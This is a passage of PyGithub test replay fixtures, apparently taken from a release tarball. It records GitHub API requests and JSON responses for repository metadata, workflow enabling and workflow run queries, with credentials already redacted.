labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"enabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/ci.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"84e643507126be0d7899823de1078d62e7f0903e9542a4ba740fc04d8fe09ce3"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4848'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '152'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '988A:06B9:29D44A4:52CA754:6753B826'), ('Server', 'github.com')] {"id":131874881,"node_id":"W_kwDONaGPH84H3EBB","name":"CI","path":".github/workflows/ci.yml","state":"active","created_at":"2024-12-06T21:17:46.000-05:00","updated_at":"2024-12-06T21:51:17.000-05:00","url":"https://api.github.com/repos/nickrmcclorey/PyGithub/actions/workflows/131874881","html_url":"https://github.com/nickrmcclorey/PyGithub/blob/main/.github/workflows/ci.yml","badge_url":"https://github.com/nickrmcclorey/PyGithub/workflows/CI/badge.svg"} https PUT api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/131874881/enable {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Sat, 07 Dec 2024 02:51:18 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4847'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '153'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '9896:D6B99:290E2A7:513A313:6753B826'), ('Server', 'github.com')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testGetRunsWithCreated.txt0000644000175100001660000003203414756101563025145 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1026390/runs?created=2022-12-24 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 25 Dec 2022 09:19:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"466569f303915b04b955e89a3d37b92736baf3a881558c556c40bacc9cf6cf7a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '27'), ('X-RateLimit-Reset', '1671961520'), ('X-RateLimit-Used', '33'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6903:7828:147F8C9:15F2E9E:63A81595')] {"total_count":1,"workflow_runs":[{"id":3770390952,"name":"CI","node_id":"WFR_kwLOADYVqs7gu5mo","head_branch":"patch-1","head_sha":"84e26cfaa0eede8179f34272f03afa28d76a07a7","path":".github/workflows/check.yml","display_title":"CI: Upgrade to Python 3.11 production release","run_number":916,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10039322119,"check_suite_node_id":"CS_kwDOADYVqs8AAAACVmPmBw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3770390952","pull_requests":[],"created_at":"2022-12-24T07:29:12Z","updated_at":"2022-12-24T07:31:39Z","actor":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-12-24T07:29:12Z","triggering_actor":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10039322119","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"84e26cfaa0eede8179f34272f03afa28d76a07a7","tree_id":"a0a51aff2b432542f78e9484272ac779ecd8f219","message":"Merge branch 'master' into patch-1","timestamp":"2022-12-24T07:29:07Z","author":{"name":"Christian Clauss","email":"cclauss@me.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":30936332,"node_id":"MDEwOlJlcG9zaXRvcnkzMDkzNjMzMg==","name":"PyGithub","full_name":"cclauss/PyGithub","private":false,"owner":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"html_url":"https://github.com/cclauss/PyGithub","description":"Python library implementing the full GitHub API v3","fork":true,"url":"https://api.github.com/repos/cclauss/PyGithub","forks_url":"https://api.github.com/repos/cclauss/PyGithub/forks","keys_url":"https://api.github.com/repos/cclauss/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cclauss/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cclauss/PyGithub/teams","hooks_url":"https://api.github.com/repos/cclauss/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/cclauss/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/cclauss/PyGithub/events","assignees_url":"https://api.github.com/repos/cclauss/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/cclauss/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/cclauss/PyGithub/tags","blobs_url":"https://api.github.com/repos/cclauss/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cclauss/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cclauss/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/cclauss/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cclauss/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/cclauss/PyGithub/languages","stargazers_url":"https://api.github.com/repos/cclauss/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/cclauss/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/cclauss/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/cclauss/PyGithub/subscription","commits_url":"https://api.github.com/repos/cclauss/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/cclauss/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/cclauss/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/cclauss/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/cclauss/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/cclauss/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cclauss/PyGithub/merges","archive_url":"https://api.github.com/repos/cclauss/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cclauss/PyGithub/downloads","issues_url":"https://api.github.com/repos/cclauss/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/cclauss/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/cclauss/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/cclauss/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cclauss/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/cclauss/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/cclauss/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testGetRunsWithHeadSha.txt0000644000175100001660000003217114756101563025075 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1026390/runs?head_sha=3a6235b56eecc0e193c1e267b064c155c6ebc022 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 31 Oct 2022 15:21:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cf18c178032bf666defcb2b80301e3802f88e1fd2ff4fbab12cdbb4c9544861c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '53'), ('X-RateLimit-Reset', '1667233078'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AC5C:EE0F:F1A2470:F5264AF:635FE7E0')] {"total_count":1,"workflow_runs":[{"id":3349872717,"name":"CI","node_id":"WFR_kwLOADYVqs7HqwBN","head_branch":"master","head_sha":"3a6235b56eecc0e193c1e267b064c155c6ebc022","path":".github/workflows/ci.yml","display_title":"[WorkflowRun] - Add missing attributes (`run_started_at` & `run_attem…","run_number":837,"event":"push","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":9023753714,"check_suite_node_id":"CS_kwDOADYVqs8AAAACGduN8g","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3349872717","pull_requests":[],"created_at":"2022-10-29T03:26:27Z","updated_at":"2022-10-29T03:29:02Z","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-10-29T03:26:27Z","triggering_actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/9023753714","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"3a6235b56eecc0e193c1e267b064c155c6ebc022","tree_id":"550d852f1fbc9ce0a31e32801e48bef08cba1da2","message":"[WorkflowRun] - Add missing attributes (`run_started_at` & `run_attempt`), remove deprecated `unicode` type (#2273)","timestamp":"2022-10-29T03:26:24Z","author":{"name":"Gabriele Oliaro","email":"ict@gabrieleoliaro.it"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 